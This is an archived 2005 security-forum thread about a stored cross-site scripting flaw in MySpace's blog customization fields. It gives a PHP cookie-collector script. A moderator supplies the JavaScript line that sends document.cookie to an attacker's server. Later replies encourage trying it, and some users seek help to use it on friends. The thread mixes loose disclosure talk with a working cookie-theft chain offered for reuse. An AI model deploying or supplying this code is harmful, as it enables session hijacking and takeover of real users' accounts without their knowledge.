Hack In The Box Forums

'Keeping Knowledge Free' != 'Promoting Random Carnage'
It is currently Fri Sep 03, 2010 1:16 am

All times are UTC + 8 hours




Post new topic Reply to topic  [ 12 posts ]  Go to page 1, 2  Next
Author Message
 Post subject: MySpace XSS & cookie hijacking
PostPosted: Thu Jul 07, 2005 2:30 pm 
Offline
God Like

Joined: Mon Nov 08, 2004 2:22 pm
Posts: 156
Location: Boca Raton, FL
Alright, I was going to post...But the server keeps screwing up with my post...Lets try it again...(I think it had to with the script tags...)

I figured this out today, and contacted myspace about the problem. Who knows if they'll fix it. I felt like sharing. :)

The problem is with the customize a blog section, you can use those fields to insert <.script> and <./script> thus allowing us to jack cookies. I came up with the following simple PHP code to receive the cookies.



Code:
//monster.php - eat some cookies up and digest into cookies.txt
//cookies are teh yummy!

$cookie = $_GET['taste'] . "\n";

$fp = fopen("cookies.txt", "a");

fwrite($fp, $cookie);

fclose($fp);

echo "Thanks for your cookies. :)\n";


As for the JavaScript, it's the standard document.location and document.cookies properties...

I'm not sure exactly which field it is on the customize my blog section, as I was just being lazy and filling each one up with the JS. They filter out input pretty well for the profile page.

I have yet to use this for malicious use, and don't plan to start on it. In theory having the users cookies should allow you to be them to the myspace server. Any input would be greatly appreciated. Thanks :)

_________________
if (post == pointless) { postcount = postcount + 1; echo "w00t.\n"; }

w00t.


Top
 Profile  
 
 Post subject:
PostPosted: Fri Jul 08, 2005 3:40 am 
Offline
HITB Forum Crew

Joined: Sun Mar 02, 2003 1:54 pm
Posts: 1342
Location: Berkeley
Well, your proof-of-concept code is not as detailed. You would have to send it to an attacking server something like this:
Code:
window.location = "http://attackers_server/cookieMonster.php?taste=" + document.cookie


Otherwise, good stuff.

_________________
Read Forum Rules


Top
 Profile  
 
 Post subject:
PostPosted: Fri Jul 08, 2005 4:15 am 
Offline
The Royal Jester
User avatar

Joined: Sat Jun 19, 2004 12:32 am
Posts: 1693
Location: a lil place in england
He may have left it out to stop copy-and-paste kiddies

_________________
"I also heard that they ported linux to toast"


Top
 Profile  
 
 Post subject:
PostPosted: Fri Jul 08, 2005 4:19 am 
Offline
HITB Forum Crew

Joined: Sun Mar 02, 2003 1:54 pm
Posts: 1342
Location: Berkeley
I guess I gave the script kiddies five less minutes of work to do. :P XSS vulnerabilities are pretty common just have to probe every single input possible and you might find something.

_________________
Read Forum Rules


Top
 Profile  
 
 Post subject:
PostPosted: Fri Aug 05, 2005 3:52 pm 
Offline
Out of the box and running.

Joined: Fri Jan 07, 2005 3:26 am
Posts: 18
curious: they fix it yet?


Top
 Profile  
 
 Post subject:
PostPosted: Fri Aug 05, 2005 4:39 pm 
Offline
God Like

Joined: Mon Nov 08, 2004 2:22 pm
Posts: 156
Location: Boca Raton, FL
No idea. Give it a try. ;)

_________________
if (post == pointless) { postcount = postcount + 1; echo "w00t.\n"; }

w00t.


Top
 Profile  
 
 Post subject:
PostPosted: Mon Aug 08, 2005 2:39 pm 
Offline
Out of the box and running.

Joined: Fri Jan 07, 2005 3:26 am
Posts: 18
id love to but im not even good enough to be a script kidde :? I'm workin on learning though...

also, the customize a blog section's HTML area says at the bottom now * no <.script><./script> tags (minus the .)

since i know a ton of people who use myspace ( i refuse. plus i dont have the time to spent on it ) I said well it sure would be a good prank to pull on some friends and a good excuse to learn. Dont worry i wasnt looking to wreak havoc and wonton violence.

Anyways, perhaps you could help me out?
You inspired me to learn some PHP and i did a little learning and understand most of the script. however i dont get : _GET calls apon the friendid, so i'd replace taste with friendid but if I'm logged in, isnt it calling myself, so Id end up getting my own cookie? or can i put in 'friendid=xx'?
Is burningfire's information given the only missing piece or is there more I'm missing? And i have no idea how burningfire's code given works into all this but thats probably cause i havent learned javascript with cookies, so thats next on the list.


Top
 Profile  
 
 Post subject:
PostPosted: Sat Oct 22, 2005 1:13 am 
Offline
su'd to root
User avatar

Joined: Tue Jun 24, 2003 10:43 pm
Posts: 215
Location: Kuala Lumpur, APIIT TPM, KLCC,PAMB (Next to HITB)
rmpants,

Did you do it? :lol:

http://securityfocus.com/brief/18

cheers,

_________________
I love reading.


Top
 Profile  
 
 Post subject:
PostPosted: Sat Oct 22, 2005 3:41 am 
Offline
The packet buckaroo

Joined: Wed Jun 05, 2002 8:44 pm
Posts: 3939
Location: Greece, EU
Also: [ http://forum.hackinthebox.org/viewtopic.php?t=10234 ].

_________________
"Never expect to meet a cute girl when you're 7, **** her by the time she's 16, marry her at 20 and live happily ever after." -- A wise man


Top
 Profile  
 
 Post subject:
PostPosted: Wed Sep 13, 2006 1:46 am 
Offline
Still in the Box

Joined: Wed Sep 13, 2006 1:35 am
Posts: 1
hi i'm new at this and i need some help with the whole myspace thing...so anyone willing to help me out a little..please let me know :wink:


Top
 Profile  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 12 posts ]  Go to page 1, 2  Next

All times are UTC + 8 hours


Who is online

Users browsing this forum: No registered users and 0 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum

Search for:
Jump to:  
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group